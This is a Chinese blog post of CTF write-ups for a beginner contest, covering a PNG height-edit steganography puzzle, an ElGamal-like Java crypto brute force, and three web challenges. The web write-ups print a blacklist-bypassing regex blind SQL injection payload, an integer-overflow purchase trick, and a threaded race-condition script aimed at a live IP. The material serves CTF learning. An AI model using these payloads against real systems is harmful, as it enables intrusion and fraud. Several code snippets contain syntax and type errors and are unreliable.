鲸!萌新的第一次正规CTF,竟然连签到题都没做出来!(Misc1出题人出来挨打

题目好难,体验好差QAQ

MISC

题目描述

是什么蒙蔽了我的双眼,倒数第四个字符是O,根据附件提示解出flag,请提交flag{}内的内容;

题目分析

拿到题目的Attachment,发现是一张PNG图片。图片只是一张“单纯”的表情包。结合题目提示“蒙蔽双眼”,推测可能是改写了PNG文件头中的图片高度,来实现隐藏部分图片信息

右键查看文件属性,发现文件的高为 730px ,转换为十六进制值为 02 DA

Misc_菜_图片属性

使用 winhex 打开文件,搜索HEX值为02 DA,并将其修改为 03 DA 以实现将图片拉长的操作

Misc_菜_winhex修改

这样拉长之后,就能够得到被隐藏的flag。但是flag实在是太糊了,使用各种软件锐化都没能得出结果。

后来得知flag:

1
l3hsec{ri1b7FLuoun2ZD0QOyv}

题目总结

  • PNG文件的文件头是可以被修改以实现显示图像区域的变化,达到隐藏图像信息的目的

Boring_exe

题目描述

出题人很无聊所以想出了这道题,根据附件提示解出flag,请提交flag{}内的内容;

题目分析

首先拿到题目的Attachment,发现是一个exe可执行文件。双击运行,没有任何结果。

之后使用 winhex 打开文件,查看文件内容。下拉发现“有东西”,出现了一个 popi提问箱 链接。

Misc_Boring_exe.jpg

访问该链接,拿到一个fake flag

Misc_Boring_exe_popi

但是这个头像操作似曾相识。确认过眼神,是和 攻防世界-Misc新手区-give_you_flag 套路一样的题。

右键保存图片,使用 PhotoShop 补全定位符。

用手机扫描即可得到flag

Misc_Boring_exe_flag

1
l3hsec{misc_is_funnnnn!}

题目总结

  • 需要熟练使用 PhotoShop 等软件对图像进行处理
  • 遇到 exe 等文件时不一定非要逆向,没准使用 WinHex 直接查看文件内容会有意想不到的收获

Crypto

easy_crypto

题目分析

首先打开附件,是一个 java 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.math.BigInteger;
import java.util.Random;

public class crypto
{
static BigInteger e = new BigInteger("114514");

static BigInteger p = new BigInteger("486782758980265419106566437773662434821707849903209898358740381800342941420169184139234071329598394271286443155137316343275438967772601578029350778343911038446374408250");
static BigInteger h = new BigInteger("197285815436451554701121357540207727760367215453670717073481761209255345336604283966933286154040618892010511454547717773622062607956598784296775952923998110257788108099");

static String table = new String("0123456789abcdefghijklnmopqrstuvwxyz");

public static String Enc(String plaintext)
{
BigInteger[] cipher = new BigInteger[2];
plaintext = plaintext.toLowerCase();
BigInteger r = new BigInteger(new Random().nextInt(10000000)+"");
String rtext = r.toString();
System.out.println(rtext);
int rlen = rtext.length();
String text = "";
for(int i = 0; i < plaintext.length(); i++)
{
int j = i % rlen;
text += table.charAt((table.indexOf(plaintext.charAt(i))+Character.getNumericValue(rtext.charAt(j))) % 36);
System.out.println(text);
}
BigInteger bText = new BigInteger(text, 36);
cipher[0] = e.modPow(r, p);
cipher[1] = h.modPow(r, p).multiply(bText);
return cipher[0].toString(36)+"||"+cipher[1].toString(36);
}

public static void main(String[] args) throws Exception
{
System.out.println("Welcome to l3hsec, here is the flag:");
String str1 = "This is the flag";
String str2 = Enc(str1); // d4e03ge7tgvd3okpxq1l83w65q7vs55iwcav9ftehw9xtgfkn3oc3ofl2b52c6yjzl0jkn4xl83joqxlq023sacnpeddvq46709bz8kye1da||2h1oufyowds4axcoim3trm3kqm2hwlgbnrnblznktu4960o7hek0n9xgm9h1qfqq5w9k2i8wifbqv22c1mg8a79vwf8z6ydddbghvy3qzyq6jprbsjcv4o3ftwk5nmi
}
}

看到 main 函数中的这一段代码

1
String str2 = Enc(str1); // d4e03ge7tgvd3okpxq1l83w65q7vs55iwcav9ftehw9xtgfkn3oc3ofl2b52c6yjzl0jkn4xl83joqxlq023sacnpeddvq46709bz8kye1da||2h1oufyowds4axcoim3trm3kqm2hwlgbnrnblznktu4960o7hek0n9xgm9h1qfqq5w9k2i8wifbqv22c1mg8a79vwf8z6ydddbghvy3qzyq6jprbsjcv4o3ftwk5nmi

Enc 函数中的这一段代码

1
return cipher[0].toString(36)+"||"+cipher[1].toString(36);

很自然地猜想,注释||前边的那一串108位的字符串就是cipher[0]。

然后注意到 Enc 函数中的这一段代码。这段代码就是产生密文。

1
2
cipher[0] = e.modPow(r, p);
cipher[1] = h.modPow(r, p).multiply(bText);

e, p, h是题目中已知的三个常量。因此解密的重心就放在了如何求出 r 这个变量上。可以写一段代码,暴力枚举出 r 的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.math.BigInteger;

public class crypto
{
static BigInteger e = new BigInteger("114514");

static BigInteger p = new BigInteger("486782758980265419106566437773662434821707849903209898358740381800342941420169184139234071329598394271286443155137316343275438967772601578029350778343911038446374408250");
static BigInteger h = new BigInteger("197285815436451554701121357540207727760367215453670717073481761209255345336604283966933286154040618892010511454547717773622062607956598784296775952923998110257788108099");

public static void main(String[] args) throws Exception
{
String str1 = "d4e03ge7tgvd3okpxq1l83w65q7vs55iwcav9ftehw9xtgfkn3oc3ofl2b52c6yjzl0jkn4xl83joqxlq023sacnpeddvq46709bz8kye1da";
BigInteger cipher=new BigInteger(str1, 36);
for(int i=1;i<=10000000;i++){
BigInteger Z= new BigInteger(i+"" );
BigInteger th = e.modPow(z,p);;
if(th.tostring(36).equals(cipher))
System.out.println(i);
}
}
}

得到 r 的值为 6994579

1
cipher[1] = h.modPow(r, p).multiply(bText);

根据以上代码,求得 r 后就可以求出 bText

1
BigInteger bText = new BigInteger(text, 36);

然后就可以求出 texti07tyvryvxxyojzqjvi。再根据以下代码

1
static String table = new String("0123456789abcdefghijklnmopqrstuvwxyz");
1
2
3
4
5
6
for(int i = 0; i < plaintext.length(); i++)
{
int j = i % rlen;
text += table.charAt((table.indexOf(plaintext.charAt(i))+Character.getNumericValue(rtext.charAt(j))) % 36);
System.out.println(text);
}

就可以由 text 反推出 plaintext,得到 flag

1
cryptoisnotthathard

Web

hardsql

题目描述

居然有这么简单的SQL注入,请提交flag{}内的内容

题目分析

首先,打开在线测试环境。是一段 PHP 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
include "./config.php";
include "./flag.php";
error_reporting(0);

$username = $_REQUEST['username'];
$passwd = $_REQUEST['passwd'];

if (!isset($username) || !isset($passwd)) highlight_file(__FILE__);
else {
$blacklist = "/admin|limit|by|substr|mid|like|or|char|union|select|greatest|\'|=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";

if (preg_match($blacklist, $username) || preg_match($blacklist, $passwd)) exit("Try harder");

$queryuser = "select username from admin where username='$username' and passwd='$passwd'";

$userresult = mysqli_fetch_array(mysqli_query($conn, $queryuser), MYSQLI_ASSOC);

$querypass = "select passwd from admin where username='admin'";

$passresult = mysqli_fetch_array(mysqli_query($conn, $querypass), MYSQLI_ASSOC);

echo "<h1>username:$username<br></h1>";
echo "<h1>passwd:$passwd<br></h1>";

if ($userresult['username']) echo "<h2>Welcome {$userresult['username']}</h2>";

if (($passresult['passwd']) && (strtolower($passresult['passwd']) === strtolower($passwd))) echo $flag;
}

?>

尝试直接访问 flag.php ,没有任何反应。并且,结合题目提示,分析重心集中在SQL注入上。

首先关注到 $blacklist

1
$blacklist = "/admin|limit|by|substr|mid|like|or|char|union|select|greatest|\'|=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i"

有一说一,这么长的正则,基本上把可能的平常用的注入操作都屏蔽了。因此需要使用SQL正则盲注这样的姿势。

然后注意到 $quertpass

1
$querypass = "select passwd from admin where username='admin'";

并且下边的 if 判断中,还出现了 flag 的身影。

1
if (($passresult['passwd']) && (strtolower($passresult['passwd']) === strtolower($passwd))) echo $flag;

这说明,我们需要找到的,是 admin 用户的 password。并且,最后不管登录的用户是谁,只需要知道 admin 用户的 password ,且 username 不为空,就可以显示 $flag。并且,该密码是小写的。

并且,题目中的SQL语句是这样的:

1
select username from admin where username='$username' and passwd='$passwd'

由于在 $blacklist 中过滤了空格,就使用/**/绕过。过滤了# - ,就使用;%00绕过。

因此,可以构造Payload如下:

1
username=\&passwd=||passwd/**/REGEXP/**/"^w";%00

之后就可以使用 BurpSuite 进行爆破。

Web1爆破

字典设置为 0-9,a-z 。将 Response 按长度排列。可以发现,长度较长的就是匹配爆破成功的 Response

Web1爆破1

从这里可以看出,密码的第一位为6。然后,将 QueryString Payload 中的正则表达式更改成 ^6w,继续匹配第二位密码

Web1爆破2

从这里可以看出,密码的第二位是8。然后依此类推,将密码的所有位都匹配出来

Web1爆破最终

得到最终的 passwd : 68656c6c6f6279797a64646d7236。传入非空的 username 以及该 passwd 即得到最终的 flag

Web1_flag

1
flag{957150780883bae6c3e11cf0e4f9d6d1}

题目总结

  • 无论遇到什么样的正则过滤,都不要怕,微笑着面对他,消除正则的最好办法就是要用正则勇敢地击败它!

你想吃麻辣香锅吗

题目描述

Naivekun最喜欢吃麻辣香锅了,你能帮帮他吗?请提交flag{}内的内容;

题目分析

首先进入在线测试环境,得到如下菜单

1
2
3
4
5
6
7
8
/ 主页
/free 白嫖同学饭卡
/list 列出菜单
/add 点菜
/delete 取消点菜
/checkout 查看已点的菜
/exit 跑路,不吃了!
/hint 香锅食用指南

既然有 hint,那肯定得先看看 hint

1
0x7fffffff

那么再 /list 看看菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
点菜方式 /add?name=点啥&count=点几个

name: Ghost_pepper
price: 1

name: Green_pepper
price: 5

name: Jolokia
price: 10

name: Hack_pepper
price: 30

name: Flag_pepper
price: 31

那么很明显,我们需要购买的就是这个 Flag_pepper

然而事情并没有那么简单,当我们在使用 /free 白嫖同学饭卡来增加余额时,余额增加到30之后就不会再增加了,这样就购买不了Flag_pepper。

Web_香锅_白嫖失败

于是乎,联想之前给的 hint-0x7fffffff 猜测是否是需要请求购买一个数额巨大的商品,导致结算时商品金额溢出,以实现购买不要钱/倒贴钱的操作。

在尝试了多次之后,发现直接购买数额巨大的 Flag_pepper 是不可行的,推测后台对当前余额与商品价格之间先做了判断,当当前余额小于商品价格时就会直接报错。

Web_香锅4

因此,尝试使用购买大量的Hack pepper来使结算时商品金额溢出,以实现购买倒贴钱。经过尝试,发现当 count 金额足够大时,会溢出导致余额不减反增。(u1s1,买的菜不让退属实奸商)

Web_香锅1

这时去购买一个 Flag_pepper ,就购买成功了。

Web_香锅2

再访问 /checkout 查看自己点的菜,flag就出现了。

Web_香锅3

1
flag{naivekun_wanna_a_g1rlfriend_2333}

题目总结

  • 整型溢出是个好东西,当数值过大的时候计算结果可能就会和预想的不一致。白嫖谁不喜欢呢 \滑稽

你真的想吃麻辣香锅吗

题目描述

Naivekun最最最最最最喜欢吃麻辣香锅了,你能帮帮他吗?请提交flag{}内的内容;

题目分析

首先进入在线测试环境,和“小香锅”差不多,得到如下菜单

1
2
3
4
5
6
7
8
/ 主页
/free 白嫖同学饭卡
/list 列出菜单
/add 点菜
/delete 取消点菜
/checkout 查看已点的菜
/exit 跑路,不吃了!
/hint 香锅食用指南

既然有 hint,那肯定得先看看 hint

1
你知道mutex吗

Web_超级香锅

那么再 /list 看看菜单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
点菜方式 /add?name=点啥&count=点几个

name: Ghost_pepper
price: 1

name: Green_pepper
price: 5

name: Jolokia
price: 10

name: Hack_pepper
price: 30

name: Flag_pepper
price: 31

那么很明显,和之前的题目一样,我们需要购买的还是这个 Flag_pepper

首先试试在之前题目的 Trick 还能不能起作用。然而,这次似乎在数据上做了处理,不会像之前一样,存在着数据溢出的问题

Web_超级香锅_溢出失败

于是乎,联想之前给的 hint-mutex锁,猜测是否网站后端设计有缺陷,使用了多线程来提高并发的同时并没有对线程上线程锁,导致我们同时访问 \free 时,多个线程同时修改一个变量,有可能可以突破白嫖30元的上限。

因此,记录下我们访问这个网站时的 cookie

Web_超级香锅1

直接写一个简单的 Python 脚本,使用 threadingrequests,模块,并将 cookie 填入,来多线程白嫖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests,threading

api = "http://124.193.74.212:5517/free"
_cookies = {'session':'MTU4NzIwNDY4NXxOd3dBTkRWSVRsSkxTRkJhVTB4UlFrMUZWVE5TU3pVelZUVlZWRlJJVUV0VFQxcEtOalEwVVUwMVZVUlRObGxaU2xsU05WRTBWMEU9fMVdDcSNCc2rhG3LHlUyPQBd0n5zMhdWiH8jB2nQOLxF'}#这里填入浏览器中的cookie

def free ():
n = 0
while n < 3:
requests.get(api,cookies=_cookies)
n++

t1 = threading.Thread(target=free)
t2 = threading.Thread(target=free)
t3 = threading.Thread(target=free)

t1.start()
t2.start()
t3.start()
t1.join()
t2.join()
t3.join()

然后我们的余额就有90了,愉快地购买了 Flag pepper

Web_超级香锅3

再访问 /checkout 查看自己点的菜,flag就出现了。

Web_超级香锅4

1
flag{naivekun_wAnna_@_girlfr1end_2147483647}

题目总结

  • 多线程编程,模型复杂,容易发生冲突,必须用锁加以隔离。如果不隔离,就可以突破“白嫖”上限,造成数据错误。

评论




博客内容遵循 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议

本站使用 Zam's Blog 作为主题,总访问量为
字数统计:47k 载入天数...载入时分秒...